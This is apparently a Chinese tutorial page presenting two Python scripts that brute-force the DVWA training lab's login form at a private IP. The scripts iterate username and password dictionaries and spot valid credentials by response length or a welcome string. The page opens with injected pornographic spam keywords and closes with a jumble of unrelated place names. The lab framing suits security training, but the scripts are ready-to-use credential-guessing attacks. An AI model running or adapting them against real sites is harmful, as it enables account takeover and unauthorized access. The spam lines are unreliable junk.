最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python破解網(wǎng)站登錄密碼腳本

 更新時間:2022年01月14日 09:45:29   作者:陳程  
這篇文章主要為大家介紹一個簡單的Python暴力破解網(wǎng)站登錄密碼腳本,文中的過程講解詳細,對我們學(xué)習(xí)Python有一定的幫助,感興趣的可以學(xué)習(xí)一下

測試靶機為DVWA,適合DVWA暴力破解模塊的Low和Medium等級

關(guān)鍵代碼解釋

url指定url地址

url?=?"http://192.168.171.2/dvwa/vulnerabilities/brute/"

header設(shè)置請求頭

header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}

payload設(shè)置請求參數(shù)

payload?=?{'username':username,'password':password,"Login":'Login'}

這一行的作用是作一次get請求,響應(yīng)信息被變量Response接收

Response?=?requests.get(url,params=payload,headers=header)

這兩行代碼循環(huán)遍歷賬號和密碼字典文件,之后給他們做笛卡爾積循環(huán)暴力破解

這種方式和burp的Intruder模塊的Cluster bomb攻擊方式一樣

for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):

然后把循環(huán)結(jié)果存放到csv文件里,用逗號分割數(shù)據(jù)

Response.status_code是響應(yīng)的http狀態(tài)碼,len(Response.content)是http響應(yīng)報文的長度

result = str(Response.status_code) + ',' + username + ','\
  + password + ',' + str(len(Response.content))
f.write(result + '\n')

完整代碼

方法一

登陸成功的和失敗返回數(shù)據(jù)不同,所以數(shù)據(jù)包長度也不同。包長度與其他不同的數(shù)據(jù),可能就是正確的賬號密碼。

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理設(shè)置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('狀態(tài)碼' + ',' + '用戶名' + ',' + '密碼' + ',' + '包長度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        result = str(Response.status_code) + ',' + username + ','\
            + password + ',' + str(len(Response.content))
        f.write(result + '\n')
        
        print('\n完成')

運行結(jié)果

運行

這就是腳本發(fā)送的數(shù)據(jù)包

查看結(jié)果

查看包長度與其他不同的數(shù)據(jù),登錄測試

方法二

這個方法是根據(jù)登陸成功的返回特征來判斷是否為正確的賬號密碼,然后把正確的賬號密碼輸出到屏幕和txt文件里

主要改動在第17到20行

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理設(shè)置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + '\n')
            
            print('\n完成')

運行結(jié)果

到此這篇關(guān)于Python破解網(wǎng)站登錄密碼腳本的文章就介紹到這了,更多相關(guān)Python破解網(wǎng)站登錄密碼內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 使用Python從零開始擼一個區(qū)塊鏈

    使用Python從零開始擼一個區(qū)塊鏈

    對數(shù)字貨幣的崛起感到新奇的我們,并且想知道其背后的技術(shù)——區(qū)塊鏈是怎樣實現(xiàn)的。這篇文章主要介紹了使用Python從零開始擼一個區(qū)塊鏈,需要的朋友可以參考下
    2018-03-03
  • Python中requirements.txt簡介(推薦)

    Python中requirements.txt簡介(推薦)

    Python項目中必須包含一個?requirements.txt?文件,用于記錄所有依賴包及其精確的版本號,以便新環(huán)境部署,這篇文章主要介紹了Python中requirements.txt簡介,需要的朋友可以參考下
    2022-11-11
  • django如何實現(xiàn)視圖重定向

    django如何實現(xiàn)視圖重定向

    這篇文章主要介紹了django如何實現(xiàn)視圖重定向,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2019-07-07
  • Python實現(xiàn)自定義Jupyter魔法命令

    Python實現(xiàn)自定義Jupyter魔法命令

    相信大家都用過?jupyter,也用過里面的魔法命令,這些魔法命令都以%或者%%開頭。用法還是比較簡單的,但是我們能不能自定義魔法命令呢?本文就來教大家如何自定義Jupyter魔法命令
    2022-08-08
  • Python3實現(xiàn)的簡單三級菜單功能示例

    Python3實現(xiàn)的簡單三級菜單功能示例

    這篇文章主要介紹了Python3實現(xiàn)的簡單三級菜單功能,涉及Python用戶交互以及針對json格式數(shù)據(jù)的遍歷、讀取、判斷等相關(guān)操作技巧,需要的朋友可以參考下
    2019-03-03
  • Python 把兩層列表展開平鋪成一層(5種實現(xiàn)方式)

    Python 把兩層列表展開平鋪成一層(5種實現(xiàn)方式)

    這篇文章主要介紹了Python 把兩層列表展開平鋪成一層(5種實現(xiàn)方式),具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2021-04-04
  • Python中read()、readline()和readlines()三者間的區(qū)別和用法

    Python中read()、readline()和readlines()三者間的區(qū)別和用法

    這篇文章主要給大家介紹了關(guān)于Python中讀取文件的read()、readline()和readlines()方法三者間的區(qū)別和用法,需要的朋友可以參考下
    2017-07-07
  • Python 分析Nginx訪問日志并保存到MySQL數(shù)據(jù)庫實例

    Python 分析Nginx訪問日志并保存到MySQL數(shù)據(jù)庫實例

    這篇文章主要介紹了Python 分析Nginx訪問日志并保存到MySQL數(shù)據(jù)庫實例,需要的朋友可以參考下
    2014-03-03
  • 運行tensorflow python程序,限制對GPU和CPU的占用操作

    運行tensorflow python程序,限制對GPU和CPU的占用操作

    今天小編就為大家分享一篇運行tensorflow python程序,限制對GPU和CPU的占用操作,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-02-02
  • python實現(xiàn)圖像全景拼接

    python實現(xiàn)圖像全景拼接

    這篇文章主要為大家詳細介紹了python實現(xiàn)圖像全景拼接,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2020-03-03

最新評論

航空| 通辽市| 大英县| 上杭县| 大丰市| 广德县| 齐齐哈尔市| 田林县| 济宁市| 塘沽区| 云龙县| 佛坪县| 台湾省| 简阳市| 南京市| 遂平县| 乌兰浩特市| 扎囊县| 松潘县| 孟连| 水城县| 宿迁市| 保定市| 勐海县| 镇宁| 乌拉特中旗| 温宿县| 潞城市| 德化县| 易门县| 安顺市| 治县。| 诏安县| 建阳市| 定襄县| 沿河| 冀州市| 合水县| 金溪县| 亳州市| 丹寨县|